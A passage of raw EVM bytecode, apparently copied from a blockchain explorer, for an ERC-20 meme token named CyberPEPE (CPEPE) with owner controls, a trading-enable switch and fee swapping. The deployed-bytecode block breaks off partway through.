cc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db490612b68565b60405180910390fd5b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e559190612c43565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ebc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ee09190612c43565b6040518363ffffffff1660e01b8152600401610efd929190612c70565b602060405180830381865afa158015610f1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f3e9190612c43565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036110d1578173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fbf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fe39190612c43565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561104a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061106e9190612c43565b6040518363ffffffff1660e01b815260040161108b929190612c70565b6020604051808303816000875af11580156110aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ce9190612c43565b90505b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601060156101000a81548160ff0219169083151502179055506001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61123a6114cc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112be90612b68565b60405180910390fd5b80600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6113136114cc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139790612b68565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361140f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140690612d0b565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611543576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153a90612d9d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a990612e2f565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161169091906128ce565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361170d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170490612ec1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361177c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177390612f53565b60405180910390fd5b600082116117bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b690612fe5565b60405180910390fd5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118635750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561195f57600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806119095750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561195e57601060179054906101000a900460ff1661195d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195490613051565b60405180910390fd5b5b5b601060149054906101000a900460ff16156119865761197f848484611dce565b9050611d05565b6000611991306107cb565b9050601060149054906101000a900460ff161580156119fa5750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a125750601060159054906101000a900460ff165b15611a7d57601060169054906101000a900460ff1615611a3257600c5490505b84600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611a7c81611fa1565b5b611b06836040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0c9092919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bec5750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611c0057611bfb86868661201f565b611c02565b835b9050611c5681600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d7090919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611cf691906128ce565b60405180910390a36001925050505b9392505050565b6000838311158290611d54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4b9190612789565b60405180910390fd5b5060008385611d639190613071565b9050809150509392505050565b6000808284611d7f91906130a5565b905083811015611dc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dbb90613147565b60405180910390fd5b8091505092915050565b6000611e59826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0c9092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611eee82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d7090919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611f8e91906128ce565b60405180910390a3600190509392505050565b6001601060146101000a81548160ff021916908315150217905550611fc581612247565b6000479050600081111561200057611fff600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682612534565b5b506000601060146101000a81548160ff02191690831515021790555050565b60008060009050600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156120a7576120a060646120926009548661257f90919063ffffffff16565b6125f990919063ffffffff16565b9050612125565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612124576121216064612113600a548661257f90919063ffffffff16565b6125f990919063ffffffff16565b90505b5b600081111561222a5761218081600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d7090919063ffffffff16565b600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161222191906128ce565b60405180910390a35b61223d818461264390919063ffffffff16565b9150509392505050565b6000600367ffffffffffffffff81111561226457612263613167565b5b6040519080825280602002602001820160405280156122925781602001602082028036833780820191505090505b50905030816000815181106122aa576122a9612b88565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160018151811061231b5761231a612b88565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156123c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123e69190612c43565b816002815181106123fa576123f9612b88565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061246130600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114d4565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124c5959493929190613299565b600060405180830381600087803b1580156124df57600080fd5b505af11580156124f3573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516125289291906132f3565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561257a573d6000803e3d6000fd5b505050565b600080830361259157600090506125f3565b6000828461259f9190613323565b90508284826125ae91906133ac565b146125ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e59061344f565b60405180910390fd5b809150505b92915050565b600061263b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061268d565b905092915050565b600061268583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d0c565b905092915050565b600080831182906126d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126cb9190612789565b60405180910390fd5b50600083856126e391906133ac565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561272a57808201518184015260208101905061270f565b83811115612739576000848401525b50505050565b6000601f19601f8301169050919050565b600061275b826126f0565b61276581856126fb565b935061277581856020860161270c565b61277e8161273f565b840191505092915050565b600060208201905081810360008301526127a38184612750565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006127e0826127b5565b9050919050565b6127f0816127d5565b81146127fb57600080fd5b50565b60008135905061280d816127e7565b92915050565b6000819050919050565b61282681612813565b811461283157600080fd5b50565b6000813590506128438161281d565b92915050565b600080604083850312156128605761285f6127ab565b5b600061286e858286016127fe565b925050602061287f85828601612834565b9150509250929050565b60008115159050919050565b61289e81612889565b82525050565b60006020820190506128b96000830184612895565b92915050565b6128c881612813565b82525050565b60006020820190506128e360008301846128bf565b92915050565b600080600060608486031215612902576129016127ab565b5b6000612910868287016127fe565b9350506020612921868287016127fe565b925050604061293286828701612834565b9150509250925092565b600060ff82169050919050565b6129528161293c565b82525050565b600060208201905061296d6000830184612949565b92915050565b600060208284031215612989576129886127ab565b5b6000612997848285016127fe565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126129c5576129c46129a0565b5b8235905067ffffffffffffffff8111156129e2576129e16129a5565b5b6020830191508360208202830111156129fe576129fd6129aa565b5b9250929050565b60008060208385031215612a1c57612a1b6127ab565b5b600083013567ffffffffffffffff811115612a3a57612a396127b0565b5b612a46858286016129af565b92509250509250929050565b612a5b816127d5565b82525050565b6000602082019050612a766000830184612a52565b92915050565b60008060408385031215612a9357612a926127ab565b5b6000612aa1858286016127fe565b9250506020612ab2858286016127fe565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612b0357607f821691505b602082108103612b1657612b15612abc565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612b526020836126fb565b9150612b5d82612b1c565b602082019050919050565b60006020820190508181036000830152612b8181612b45565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612bf182612813565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612c2357612c22612bb7565b5b600182019050919050565b600081519050612c3d816127e7565b92915050565b600060208284031215612c5957612c586127ab565b5b6000612c6784828501612c2e565b91505092915050565b6000604082019050612c856000830185612a52565b612c926020830184612a52565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612cf56026836126fb565b9150612d0082612c99565b604082019050919050565b60006020820190508181036000830152612d2481612ce8565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612d876024836126fb565b9150612d9282612d2b565b604082019050919050565b60006020820190508181036000830152612db681612d7a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612e196022836126fb565b9150612e2482612dbd565b604082019050919050565b60006020820190508181036000830152612e4881612e0c565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612eab6025836126fb565b9150612eb682612e4f565b604082019050919050565b60006020820190508181036000830152612eda81612e9e565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612f3d6023836126fb565b9150612f4882612ee1565b604082019050919050565b60006020820190508181036000830152612f6c81612f30565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612fcf6029836126fb565b9150612fda82612f73565b604082019050919050565b60006020820190508181036000830152612ffe81612fc2565b9050919050565b7f6e6f742073746172740000000000000000000000000000000000000000000000600082015250565b600061303b6009836126fb565b915061304682613005565b602082019050919050565b6000602082019050818103600083015261306a8161302e565b9050919050565b600061307c82612813565b915061308783612813565b92508282101561309a57613099612bb7565b5b828203905092915050565b60006130b082612813565b91506130bb83612813565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130f0576130ef612bb7565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613131601b836126fb565b915061313c826130fb565b602082019050919050565b6000602082019050818103600083015261316081613124565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000819050919050565b6000819050919050565b60006131c56131c06131bb84613196565b6131a0565b612813565b9050919050565b6131d5816131aa565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613210816127d5565b82525050565b60006132228383613207565b60208301905092915050565b6000602082019050919050565b6000613246826131db565b61325081856131e6565b935061325b836131f7565b8060005b8381101561328c5781516132738882613216565b975061327e8361322e565b92505060018101905061325f565b5085935050505092915050565b600060a0820190506132ae60008301886128bf565b6132bb60208301876131cc565b81810360408301526132cd818661323b565b90506132dc6060830185612a52565b6132e960808301846128bf565b9695505050505050565b600060408201905061330860008301856128bf565b818103602083015261331a818461323b565b90509392505050565b600061332e82612813565b915061333983612813565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561337257613371612bb7565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133b782612813565b91506133c283612813565b9250826133d2576133d161337d565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006134396021836126fb565b9150613444826133dd565b604082019050919050565b600060208201905081810360008301526134688161342c565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122078122ff0a10eb043be4711e9d4fc29951210e228d5d04b037ab127c665c5e83864736f6c634300080d0033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000001908b1000000000000000000000000000000000000000000000000000000000000000009437962657250455045000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000054350455045000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x6080604052600436106101395760003560e01c80638da5cb5b116100ab578063a9059cbb1161006f578063a9059cbb14610437578063b2bdfa7b14610474578063c9567bf91461049f578063dd62ed3e146104b6578063e350a6c4146104f3578063f2fde38b1461051c57610140565b80638da5cb5b14610362578063914eb66a1461038d57806395d89b41146103a4578063a073d37f146103cf578063a457c2d7146103fa57610140565b806339509351116100fd57806339509351146102405780633ecad2711461027d578063557ed1ba146102ba57806370a08231146102e5578063761d22db146103225780638456cb591461034b57610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806323b872dd146101d8578063313ce5671461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a610545565b6040516101679190612789565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612849565b6105d7565b6040516101a491906128a4565b60405180910390f35b3480156101b957600080fd5b506101c26105f5565b6040516101cf91906128ce565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa91906128e9565b6105ff565b60405161020c91906128a4565b60405180910390f35b34801561022157600080fd5b5061022a6106d9565b6040516102379190612958565b60405180910390f35b34801561024c57600080fd5b5061026760048036038101906102629190612849565b6106f0565b60405161027491906128a4565b60405180910390f35b34801561028957600080fd5b506102a4600480360381019061029f9190612973565b6107a3565b6040516102b191906128a4565b60405180910390f35b3480156102c657600080fd5b506102cf6107c3565b6040516102dc91906128ce565b60405180910390f35b3480156102f157600080fd5b5061030c60048036038101906103079190612973565b6107cb565b60405161031991906128ce565b60405180910390f35b34801561032e57600080fd5b5061034960048036038101906103449190612a05565b610814565b005b34801561035757600080fd5b5061036061094e565b005b34801561036e57600080fd5b50610377610a00565b6040516103849190612a61565b60405180910390f35b34801561039957600080fd5b506103a2610a29565b005b3480156103b057600080fd5b506103b9610b7c565b6040516103c69190612789565b60405180910390f35b3480156103db57600080fd5b506103e4610c0e565b6040516103f191906128ce565b60405180910390f35b34801561040657600080fd5b50610421600480360381019061041c9190612849565b610c18565b60405161042e91906128a4565b60405180910390f35b34801561044357600080fd5b5061045e60048036038101906104599190612849565b610ce5565b60405161046b91906128a4565b60405180910390f35b34801561048057600080fd5b50610489610d04565b6040516104969190612a61565b60405180910390f35b3480156104ab57600080fd5b506104b4610d28565b005b3480156104c257600080fd5b506104dd60048036038101906104d89190612a7c565b6111ab565b6040516104ea91906128ce565b60405180910390f35b3480156104ff57600080fd5b5061051a60048036038101906105159190612973565b611232565b005b34801561052857600080fd5b50610543600480360381019061053e9190612973565b61130b565b005b60606001805461055490612aeb565b80601f016020809104026020016040519081016040528092919081815260200182805461058090612aeb565b80156105cd5780601f106105a2576101008083540402835291602001916105cd565b820191906000526020600020905b8154815290600101906020018083116105b057829003601f168201915b5050505050905090565b60006105eb6105e46114cc565b84846114d4565b6001905092915050565b6000600b54905090565b600061060c84848461169d565b506106ce846106196114cc565b6106c98560405180606001604052806028815260200161347060289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061067f6114cc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0c9092919063ffffffff16565b6114d4565b600190509392505050565b6000600360009054906101000a900460ff16905090565b60006107996106fd6114cc565b84610794856006600061070e6114cc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d7090919063ffffffff16565b6114d4565b6001905092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b600042905090565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61081c6114cc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108a090612b68565b60405180910390fd5b60005b82829050811015610949576001600760008585858181106108d0576108cf612b88565b5b90506020020160208101906108e59190612973565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061094190612be6565b9150506108ac565b505050565b6109566114cc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109da90612b68565b60405180910390fd5b6001601060176101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610a316114cc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610abe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab590612b68565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060028054610b8b90612aeb565b80601f0160208091040260200160405190810160405280929190818152602001828054610bb790612aeb565b8015610c045780601f10610bd957610100808354040283529160200191610c04565b820191906000526020600020905b815481529060010190602001808311610be757829003601f168201915b5050505050905090565b6000600c54905090565b6000610cdb610c256114cc565b84610cd6856040518060600160405280602581526020016134986025913960066000610c4f6114cc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0c9092919063ffffffff16565b6114d4565b6001905092915050565b6000610cf9610cf26114cc565b848461169d565b506001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610d306114cc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db490612b68565b60405180910390fd5b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e559190612c43565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ebc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ee09190612c43565b6040518363ffffffff1660e01b8152600401610efd929190612c70565b602060405180830381865afa158015610f1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f3e9190612c43565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036110d1578173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fbf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fe39190612c43565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561104a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061106e9190612c43565b6040518363ffffffff1660e01b815260040161108b929190612c70565b6020604051808303816000875af11580156110aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ce9190612c43565b90505b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601060156101000a81548160ff0219169083151502179055506001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61123a6114cc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112be90612b68565b60405180910390fd5b80600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6113136114cc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139790612b68565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361140f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140690612d0b565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611543576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153a90612d9d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a990612e2f565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161169091906128ce565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361170d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170490612ec1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361177c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177390612f53565b60405180910390fd5b600082116117bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b690612fe5565b60405180910390fd5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118635750600760008473fffffffffffffffffffffffffffff